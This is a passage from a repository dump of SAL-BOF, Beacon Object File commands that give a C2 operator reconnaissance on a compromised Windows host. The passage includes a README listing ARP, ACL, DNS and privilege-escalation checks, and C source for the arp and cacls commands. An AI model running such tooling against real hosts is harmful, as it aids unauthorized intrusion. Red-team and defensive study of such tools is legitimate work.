modsvc x32'\n\t@($(CC86) $(CFLAGS) privcheck/pshistory.c -o _bin/pshistory.x32.o && $(STRIP86) _bin/pshistory.x32.o) && echo '[+] pshistory x32' || echo '[!] pshistory x32'\n\t@($(CC86) $(CFLAGS) privcheck/uacstatus.c -o _bin/uacstatus.x32.o && $(STRIP86) _bin/uacstatus.x32.o) && echo '[+] uacstatus x32' || echo '[!] uacstatus x32'\n\t@($(CC86) $(CFLAGS) privcheck/privcheck_all.c -o _bin/privcheck_all.x32.o && $(STRIP86) _bin/privcheck_all.x32.o) && echo '[+] privcheck_all x32' || echo '[!] privcheck_all x32'\nclean:\n\t@(rm -rf _bin)\n"
  },
  {
    "path": "SAL-BOF/README.md",
    "content": "# SAL-BOF\n\nThis extension enhances situational awareness by providing a set of local Beacon Object File (BOF) commands. These commands allow the operator to gather detailed information about the target system's network configuration, file access control, environment variables, and other critical system details.\n\n![](_img/01.png)\n\n## arp\n\nList ARP table\n\n```\narp\n```\n\n## cacls\n\nList user permissions for the specified file or directory, wildcards supported\n\n```\ncacls <path>\n```\n\n## dir\n\nLists files in a specified directory. Supports wildcards (e.g. \"C:\\Windows\\S*\"). Optionally, it can perform a recursive list with the `/s` argument\n\n```\ndir <path> [/s]\n```\n\n## env\n\nList process environment variables\n\n```\nenv\n```\n\n## ipconfig\n\nList IPv4 address, hostname, and DNS server\n\n```\nipconfig\n```\n\n## listdns\n\nList DNS cache entries. Attempt to query and resolve each\n\n```\nlistdns\n```\n\n## nslookup\n\nMake a DNS query\n\n```\nnslookup <domain> [server] [type>]\n```\n\n# privcheck\n\nBOFs to detect common privilege escalation paths in Windows. This is taken from [ostrichgolf/PrivCheck](https://github.com/ostrichgolf/PrivCheck) which was originally forked from [mertdas/PrivKit](https://github.com/mertdas/PrivKit). PrivCheck currently includes the following modules:\n\n```\nprivcheck <module>\n```\n\n| Module           | Description                                                  |\n| ---------------- | ------------------------------------------------------------ |\n| `alwayselevated` | Checks if `Always Install Elevated` is enabled using the registry. |\n| `hijackablepath` | Checks the path environment variable for writable directories (`FILE_ADD_FILE`) that can be exploited to elevate privileges. |\n| `tokenpriv`      | Lists the current token privileges and highlights known vulnerable ones. |\n| `unattendfiles`  | Checks for leftover unattend files that might contain sensitive information. |\n| `unquotedsvc`    | Checks for unquoted service paths.                           |\n| `vulndrivers`    | Checks if any service on the system uses a known vulnerable driver (based on loldrivers.io).  *The list of vulnerable drivers is downloaded from `loldrivers.io` during compilation, then baked into the BOF. Recompile periodically to update* . |\n\n\n\n## routeprint\n\nList IPv4 routes\n\n```\nrouteprint\n``` \n\n## uptime\n\nList system uptime\n\n```\nuptime\n```\n\n## useridletime\n\nShows how long the user as been idle, displayed in seconds, minutes, hours and days.\n\n```\nuseridletime\n```\n\n## whoami\n\nList whoami /all\n\n```\nwhoami\n```\n\n\n\n## Credits\n* CS-Situational-Awareness-BOF - https://github.com/trustedsec/CS-Situational-Awareness-BOF\n* PrivCheck - https://github.com/ostrichgolf/PrivCheck\n* C2-Tool-Collection - https://github.com/outflanknl/C2-Tool-Collection/"
  },
  {
    "path": "SAL-BOF/arp/arp.c",
    "content": "#include <windows.h>\n#include <iphlpapi.h>\n#include \"bofdefs.h\"\n#include \"base.c\"\n\n//DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetIpNetTable(PMIB_IPNETTABLE IpNetTable,PULONG SizePointer, BOOL Order);\n\nvoid print_ip_from_int(unsigned int addr)\n{\n        unsigned char p1, p2, p3, p4;\n\t\tchar ipStr[20] = {0};\n\n        p1 = (addr & 0x000000FF);\n        p2 = (addr & 0x0000FF00) >> 8;\n        p3 = (addr & 0x00FF0000) >> 16;\n        p4 = (addr & 0xFF000000) >> 24;\n\n\t\tMSVCRT$sprintf(ipStr,\"%d.%d.%d.%d\", p1,p2,p3,p4);\n\t\tinternal_printf(\"%-24s\", ipStr);\n}\n\nvoid print_MAC_from_bytes(DWORD length, BYTE* physaddr)\n{\n\tchar macStr[24] = {0};\n\tif(length != 6)\n\t{\n\t\tinternal_printf(\"%-24s\", \"INVALID MAC LENGTH\");\n\t\treturn;\n\t}\n\tMSVCRT$sprintf(macStr, \"%02X-%02X-%02X-%02X-%02X-%02X\",physaddr[0],physaddr[1],physaddr[2],physaddr[3],physaddr[4],physaddr[5]);\n\tinternal_printf(\"%-24s\",macStr);\n}\n\n\nchar* int_to_arp_type(DWORD arp_type)\n{\n\tif(arp_type == 1)\n\t{\n\t\treturn \"other\";\n\t}else if(arp_type == 2)\n\t{\n\t\treturn \"invalid\";\n\t}else if(arp_type == 3)\n\t{\n\t\treturn \"dynamic\";\n\t}else if(arp_type == 4)\n\t{\n\t\treturn \"static\";\n\t}else\n\t{\n\t\treturn \"unknown\";\n\t}\n\n}\n\n\nvoid arp()\n{\n\tULONG ret;\n\tMIB_IPNETTABLE *ipNetTableInfo = NULL;\n\tMIB_IPNETROW *row;\n\tULONG ipNetTableBufLen = 0;\n\tDWORD p = 0;\n\tDWORD last_if_index = 0;\n\tIPHLPAPI$GetIpNetTable(NULL, &ipNetTableBufLen, TRUE);\n\tipNetTableInfo = intAlloc(ipNetTableBufLen);\n\tif (NULL == ipNetTableInfo)\n\t{\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Could not alloc memory for ipNetTableInfo\");\n\t\tgoto END;\n\t}\n\tret = IPHLPAPI$GetIpNetTable(ipNetTableInfo, &ipNetTableBufLen, TRUE);\n\tif ((ret != NO_ERROR) && (ret != ERROR_NO_DATA))\n\t{\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Error code: %d\", ret);\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Could not get ipnet table info\");\n\t\tgoto END;\n\t}\t\n\trow = ipNetTableInfo->table;\n\tfor (p=0; p < ipNetTableInfo->dwNumEntries; p++)\n\t{\n\t\tif (last_if_index != row->dwIndex)\n\t\t{\n\t\t\tlast_if_index = row->dwIndex;\n\t\t\tinternal_printf(\"\\nInteface  --- 0x%X\\n\",row->dwIndex);\n\t\t\tinternal_printf(\"%-24s%-24s%-24s\\n\",\"Internet Address\",\"Physical Address\", \"Type\");\n\t\t}\n\t\t\n\t\tprint_ip_from_int(row->dwAddr);\n\n\t\tif (row->dwPhysAddrLen > 0)\n\t\t{\n\t\t\tprint_MAC_from_bytes(row->dwPhysAddrLen,row->bPhysAddr);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tinternal_printf(\"%-24s\",\"\");\n\t\t}\n\n\t\tinternal_printf(\"%-24s\\n\",int_to_arp_type(row->dwType));\n\t\trow++;\n\t}\n\n\n\tEND:\n\t\tif(ipNetTableInfo){ intFree(ipNetTableInfo);}\t\n}\n\nVOID go( \n\tIN PCHAR Buffer, \n\tIN ULONG Length \n) \n{\n\tif(!bofstart())\n\t{\n\t\treturn;\n\t}\n\tarp();\n\tprintoutput(TRUE);\n};\n"
  },
  {
    "path": "SAL-BOF/arp/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "SAL-BOF/cacls/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "SAL-BOF/cacls/cacls.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"defines.h\"\n#include \"base.c\"\n#include <sddl.h>\n#include <windef.h>\n\nenum searchtype{\n    File,\n    Folder,\n    Fail\n};\n#pragma pack (push, 1) // This is required because x64 can crash when running as a bof otherwise.\ntypedef struct _AR\n{\n    DWORD Access;\n    const char * uID;\n}AR, *pAR;\n#pragma pack (pop)\npAR AccessRights = (pAR)1;\n\n#define LOVEIT(a, b, c) a.Access = b; a.uID = c\n\nvoid ConvertUnicodeStringToChar(const wchar_t* src, size_t srcSize, char* dst, size_t dstSize)\n{\n    KERNEL32$WideCharToMultiByte(CP_ACP, 0, src, (int)srcSize, dst, (int)dstSize, NULL, NULL);\n    dst[dstSize - 1] = '\\0';\n}\n\nvoid LovingIt() // Fix bof's inability to handle initialized ** type values\n{\n    AccessRights = (pAR)intAlloc(26 * sizeof(AR));\n    LOVEIT(AccessRights[0], FILE_WRITE_ATTRIBUTES, IDS_FILE_WRITE_ATTRIBUTES);\n    LOVEIT(AccessRights[1], FILE_READ_ATTRIBUTES, IDS_FILE_READ_ATTRIBUTES);\n    LOVEIT(AccessRights[2], FILE_DELETE_CHILD, IDS_FILE_DELETE_CHILD);\n    LOVEIT(AccessRights[3], FILE_EXECUTE, IDS_FILE_EXECUTE);\n    LOVEIT(AccessRights[4], FILE_WRITE_EA, IDS_FILE_WRITE_EA);\n    LOVEIT(AccessRights[5], FILE_READ_EA, IDS_FILE_READ_EA);\n    LOVEIT(AccessRights[6], FILE_APPEND_DATA, IDS_FILE_APPEND_DATA);\n    LOVEIT(AccessRights[7], FILE_WRITE_DATA, IDS_FILE_WRITE_DATA);\n    LOVEIT(AccessRights[8], FILE_READ_DATA, IDS_FILE_READ_DATA);\n    LOVEIT(AccessRights[9], FILE_GENERIC_EXECUTE, IDS_FILE_GENERIC_EXECUTE);\n    LOVEIT(AccessRights[10], FILE_GENERIC_WRITE, IDS_FILE_GENERIC_WRITE);\n    LOVEIT(AccessRights[11], FILE_GENERIC_READ, IDS_FILE_GENERIC_READ);\n    LOVEIT(AccessRights[12], GENERIC_ALL, IDS_GENERIC_ALL);\n    LOVEIT(AccessRights[13], GENERIC_EXECUTE, IDS_GENERIC_EXECUTE);\n    LOVEIT(AccessRights[14], GENERIC_WRITE, IDS_GENERIC_WRITE);\n    LOVEIT(AccessRights[15], GENERIC_READ, IDS_GENERIC_READ);\n    LOVEIT(AccessRights[16], MAXIMUM_ALLOWED, IDS_MAXIMUM_ALLOWED);\n    LOVEIT(AccessRights[17], ACCESS_SYSTEM_SECURITY, IDS_ACCESS_SYSTEM_SECURITY);\n    LOVEIT(AccessRights[18], SPECIFIC_RIGHTS_ALL, IDS_SPECIFIC_RIGHTS_ALL);\n    LOVEIT(AccessRights[19], STANDARD_RIGHTS_REQUIRED, IDS_STANDARD_RIGHTS_REQUIRED);\n    LOVEIT(AccessRights[20], SYNCHRONIZE, IDS_SYNCHRONIZE);\n    LOVEIT(AccessRights[21], WRITE_OWNER, IDS_WRITE_OWNER);\n    LOVEIT(AccessRights[22], WRITE_DAC, IDS_WRITE_DAC);\n    LOVEIT(AccessRights[23], READ_CONTROL, IDS_READ_CONTROL);\n    LOVEIT(AccessRights[24], DELETE, IDS_DELETE);\n    LOVEIT(AccessRights[25], STANDARD_RIGHTS_ALL, IDS_STANDARD_RIGHTS_ALL);\n}\n\nvoid DoneLovingIt()\n{\n    intFree(AccessRights);\n}\n\n\n\nstatic BOOL\nPrintFileDacl(IN LPWSTR FilePath,\n              IN LPWSTR FileName,\n              IN enum searchtype ST)\n{\n\tGENERIC_MAPPING FileGenericMapping = {0};\n    SIZE_T Length;\n    PSECURITY_DESCRIPTOR SecurityDescriptor;\n    DWORD SDSize = 0;\n    WCHAR FullFileName[MAX_PATH + 1];\n    BOOL Error = FALSE, Ret = FALSE;\n    int x = 0, x2 = 0;\n    if(ST == File)\n    {\n        Length = KERNEL32$lstrlenW(FilePath) + KERNEL32$lstrlenW(FileName);\n        if (Length > MAX_PATH)\n        {\n            /* file name too long */\n            KERNEL32$SetLastError(ERROR_FILE_NOT_FOUND);\n            return FALSE;\n        }\n\n        KERNEL32$lstrcpynW(FullFileName, FilePath, MAX_PATH);\n        KERNEL32$lstrcatW(FullFileName, FileName);\n    }else\n    {\n        KERNEL32$lstrcpynW(FullFileName, FilePath, MAX_PATH);\n    }\n\n\n    /* find out how much memory we need */\n    if (!ADVAPI32$GetFileSecurityW(FullFileName,\n                         DACL_SECURITY_INFORMATION,\n                         NULL,\n                         0,\n                         &SDSize) &&\n        KERNEL32$GetLastError() != ERROR_INSUFFICIENT_BUFFER)\n    {\n        return FALSE;\n    }\n\n    SecurityDescriptor = (PSECURITY_DESCRIPTOR)intAlloc(SDSize);\n    if (SecurityDescriptor != NULL)\n    {\n        if (ADVAPI32$GetFileSecurityW(FullFileName,\n                            DACL_SECURITY_INFORMATION,\n                            SecurityDescriptor,\n                            SDSize,\n                            &SDSize))\n        {\n            PACL Dacl;\n            BOOL DaclPresent;\n            BOOL DaclDefaulted;\n            if (ADVAPI32$GetSecurityDescriptorDacl(SecurityDescriptor,\n                                          &DaclPresent,\n                                          &Dacl,\n                                          &DaclDefaulted))\n            {\n                if (Dacl && DaclPresent)\n                {\n                    PACCESS_ALLOWED_ACE Ace;\n                    DWORD AceIndex = 0;\n\n                    /* dump the ACL */\n                    while (ADVAPI32$GetAce(Dacl,\n                                  AceIndex,\n                                  (PVOID*)&Ace))\n                    {\n                        SID_NAME_USE Use;\n                        DWORD NameSize = 0;\n                        DWORD DomainSize = 0;\n                        LPWSTR Name = NULL;\n                        LPWSTR Domain = NULL;\n                        LPWSTR SidString = NULL;\n                        DWORD IndentAccess = 0;\n\n                        DWORD AccessMask = Ace->Mask;\n                        PSID Sid = (PSID)&Ace->SidStart;\n//                         /* attempt to translate the SID into a readable string */\n                        if (!ADVAPI32$LookupAccountSidW(NULL,\n                                              Sid,\n                                              Name,\n                                              &NameSize,\n                                              Domain,\n                                              &DomainSize,\n                                              &Use))\n                        {\n                            if (KERNEL32$GetLastError() == ERROR_NONE_MAPPED || NameSize == 0)\n                            {\n                                goto BuildSidString;\n                            }\n                            else\n                            {\n                                if (KERNEL32$GetLastError() != ERROR_INSUFFICIENT_BUFFER)\n                                {\n                                    Error = TRUE;\n                                    break;\n                                }\n\n                                Name = (LPWSTR)intAlloc((NameSize + DomainSize) * 2);\n                                if (Name == NULL)\n                                {\n                                    KERNEL32$SetLastError(ERROR_NOT_ENOUGH_MEMORY);\n                                    Error = TRUE;\n                                    break;\n                                }\n\n                                Domain = Name + NameSize;\n                                Name[0] = L'\\0';\n                                if (DomainSize != 0)\n                                    Domain[0] = L'\\0';\n                                if (!ADVAPI32$LookupAccountSidW(NULL,\n                                                      Sid,\n                                                      Name,\n                                                      &NameSize,\n                                                      Domain,\n                                                      &DomainSize,\n                                                      &Use))\n                                {\n                                    intFree(Name);\n                                    Name = NULL;\n                                    goto BuildSidString;\n                                }\n                            }\n\n                        }\n                        else\n                        {\nBuildSidString:\n                            if (!ADVAPI32$ConvertSidToStringSidW(Sid,\n                                                       &SidString))\n                            {\n                                Error = TRUE;\n                                break;\n                            }\n                        }\n\n                        /* print the file name or space */\n                        SIZE_T FullFileNameLen = KERNEL32$lstrlenW(FullFileName);\n                        char * convertedFullFileName = intAlloc(FullFileNameLen + 1);\n                        ConvertUnicodeStringToChar(FullFileName, FullFileNameLen + 1, convertedFullFileName, FullFileNameLen + 1);\n                        internal_printf(\"%s \", convertedFullFileName);\n                        intFree(convertedFullFileName);\n                        /* attempt to map the SID to a user name */\n                        if (AceIndex == 0)\n                        {\n                            DWORD i = 0;\n\n                            /* overwrite the full file name with spaces so we\n                               only print the file name once */\n                            while (FullFileName[i] != L'\\0')\n                                FullFileName[i++] = L' ';\n                        }\n\n                        /* print the domain and/or user if possible, or the SID string */\n                        if (Name != NULL && Domain != NULL && Domain[0] != L'\\0')\n                        {\n                            SIZE_T DomainLen = KERNEL32$lstrlenW(Domain);\n                            SIZE_T NameLen = KERNEL32$lstrlenW(Name);\n                            char * convertedDomain = intAlloc(DomainLen + 1);\n                            char * convertedName = intAlloc(NameLen + 1);\n                            ConvertUnicodeStringToChar(Domain, DomainLen + 1, convertedDomain, DomainLen + 1);\n                            ConvertUnicodeStringToChar(Name, NameLen + 1, convertedName, NameLen + 1);\n                            internal_printf(\"%s\\\\%s:\", convertedDomain, convertedName);\n                            IndentAccess = (DWORD)KERNEL32$lstrlenW(Domain) + KERNEL32$lstrlenW(Name);\n                            intFree(convertedDomain);\n                            intFree(convertedName);\n                        }\n                        else\n                        {\n                            LPWSTR DisplayString = (Name != NULL ? Name : SidString);\n                            if(DisplayString)\n                            {\n                                SIZE_T DisplayStringLen = KERNEL32$lstrlenW(DisplayString);\n                                char * convertedString = intAlloc(DisplayStringLen + 1);\n                                ConvertUnicodeStringToChar(DisplayString, DisplayStringLen + 1, convertedString, DisplayStringLen + 1);\n                                internal_printf( \"%s:\", convertedString);\n                                IndentAccess = (DWORD)KERNEL32$lstrlenW(DisplayString);\n                                intFree(convertedString);\n                            }\n                        }\n\n                        /* print the ACE Flags */\n                        if (Ace->Header.AceFlags & CONTAINER_INHERIT_ACE)\n                        {\n\t\t\t\t\t\t\tinternal_printf(\"%s\", IDS_ABBR_CI);\n\t\t\t\t\t\t\tIndentAccess += 4;\n                            //IndentAccess += ConResPuts(StdOut, IDS_ABBR_CI);\n                        }\n                        if (Ace->Header.AceFlags & OBJECT_INHERIT_ACE)\n                        {\n\t\t\t\t\t\t\tinternal_printf(\"%s\", IDS_ABBR_OI);\n\t\t\t\t\t\t\tIndentAccess += 4;\n                            //IndentAccess += ConResPuts(StdOut, IDS_ABBR_OI);\n                        }\n                        if (Ace->Header.AceFlags & INHERIT_ONLY_ACE)\n                        {\n\t\t\t\t\t\t\tinternal_printf(\"%s\", IDS_ABBR_IO);\n\t\t\t\t\t\t\tIndentAccess += 4;\n\n                            //IndentAccess += ConResPuts(StdOut, IDS_ABBR_IO);\n                        }\n\n                        IndentAccess += 2;\n                        /* print the access rights */\n                        ADVAPI32$MapGenericMask(&AccessMask,\n                                       &FileGenericMapping);\n                        if (Ace->Header.AceType & ACCESS_DENIED_ACE_TYPE)\n                        {\n                            if (AccessMask == FILE_ALL_ACCESS)\n                            {\n                                internal_printf(\"%s\", IDS_ABBR_NONE);\n                            }\n                            else\n                            {\n                                internal_printf(\"%s\", IDS_DENY);\n                                goto PrintSpecialAccess;\n                            }\n                        }\n                        else\n                        {\n                            if (AccessMask == FILE_ALL_ACCESS)\n                            {\n                                internal_printf(\"%s\", IDS_ABBR_FULL);\n                            }\n                            else if (!(Ace->Mask & (GENERIC_READ | GENERIC_EXECUTE)) &&\n                                     AccessMask == (FILE_GENERIC_READ | FILE_EXECUTE))\n                            {\n                                internal_printf(\"%s\", IDS_ABBR_READ);\n                            }\n                            else if (AccessMask == (FILE_GENERIC_READ | FILE_GENERIC_WRITE | FILE_EXECUTE | DELETE))\n                            {\n                                internal_printf(\"%s\", IDS_ABBR_CHANGE);\n                            }\n                            else if (AccessMask == FILE_GENERIC_WRITE)\n                            {\n                                internal_printf(\"%s\", IDS_ABBR_WRITE);\n                            }\n                            else\n                            {\n                                internal_printf(\"%s\", IDS_ALLOW);\nPrintSpecialAccess:\n                                internal_printf(\"%s\", IDS_SPECIAL_ACCESS);\n                                /* print the special access rights */\n                                x = 25;\n                                while (x >= 0)\n                                {\n                                    if ((Ace->Mask & AccessRights[x].Access) == AccessRights[x].Access)\n                                    {\n                                        SIZE_T FullFileNameLen = KERNEL32$lstrlenW(FullFileName);\n                                        char * convertedFullFileName = 